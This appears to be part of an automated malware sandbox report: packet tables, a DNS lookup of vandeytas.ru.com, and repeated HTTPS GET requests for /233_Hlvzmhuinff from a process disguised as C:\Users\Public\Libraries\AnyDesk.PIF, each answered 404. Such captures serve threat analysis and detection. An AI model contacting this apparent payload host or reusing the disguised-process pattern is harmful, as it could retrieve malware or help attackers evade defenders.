Nov 26, 2024 09:40:40.179805040 CET	443	49962	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.179893017 CET	49962	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.180259943 CET	49962	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.180279016 CET	443	49962	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.180291891 CET	49962	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.180299044 CET	443	49962	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.352231026 CET	49968	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.352272034 CET	443	49968	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.352472067 CET	49968	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.630347013 CET	49968	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.630419970 CET	443	49968	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.630492926 CET	49968	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.646051884 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.646099091 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:40.646172047 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.646734953 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:40.646744967 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.015738010 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.015913010 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.017303944 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.017353058 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.017607927 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.019361019 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.063332081 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.526945114 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.527026892 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.527101040 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.527503014 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.527523994 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.527537107 CET	49969	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.527543068 CET	443	49969	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.702955008 CET	49975	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.703011990 CET	443	49975	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.703078032 CET	49975	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.705502033 CET	49975	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.705619097 CET	443	49975	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.705677986 CET	49975	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.714773893 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.714814901 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:42.714895010 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.715262890 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:42.715279102 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.180831909 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.180953026 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.182497025 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.182502985 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.182740927 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.184566021 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.231322050 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.722347021 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.722429037 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.722501040 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.722796917 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.722820044 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.722834110 CET	49976	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.722839117 CET	443	49976	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.894809961 CET	49982	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.894861937 CET	443	49982	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.894933939 CET	49982	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.895025969 CET	49982	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.895070076 CET	443	49982	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.895127058 CET	49982	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.970489025 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.970515013 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:44.970573902 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.970968008 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:44.970976114 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.387054920 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.387362003 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.388717890 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.388748884 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.389127016 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.393414974 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.439337015 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.905930996 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.906107903 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.906198025 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.906322002 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.906342030 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:46.906435013 CET	49983	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:46.906440973 CET	443	49983	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:47.073807955 CET	49989	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.073820114 CET	443	49989	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:47.073906898 CET	49989	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.074016094 CET	49989	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.074059010 CET	443	49989	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:47.074114084 CET	49989	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.083383083 CET	49990	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.083431005 CET	443	49990	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:47.083553076 CET	49990	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.083801031 CET	49990	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:40:47.083812952 CET	443	49990	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:48.493628025 CET	443	49990	50.7.187.218	192.168.2.4
Nov 26, 2024 09:40:48.493864059 CET	49990	443	192.168.2.4	50.7.187.218

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 09:38:45.865753889 CET	60440	53	192.168.2.4	1.1.1.1
Nov 26, 2024 09:38:46.865282059 CET	53	60440	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 09:38:45.865753889 CET	192.168.2.4	1.1.1.1	0xe4b2	Standard query (0)	vandeytas.ru.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 09:38:46.865282059 CET	1.1.1.1	192.168.2.4	0xe4b2	No error (0)	vandeytas.ru.com		50.7.187.218	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vandeytas.ru.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:48 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:38:49 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:38:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:38:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:50 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:38:51 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:38:51 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:38:51 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:52 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:38:53 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:38:53 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:38:53 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:55 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:38:55 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:38:55 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:38:55 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:57 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:38:58 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:38:57 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:38:58 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:38:59 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:00 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:00 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:00 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:02 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:02 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:02 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:02 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:04 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:05 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:04 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:05 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:06 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:07 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:06 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:07 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:08 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:09 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:09 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
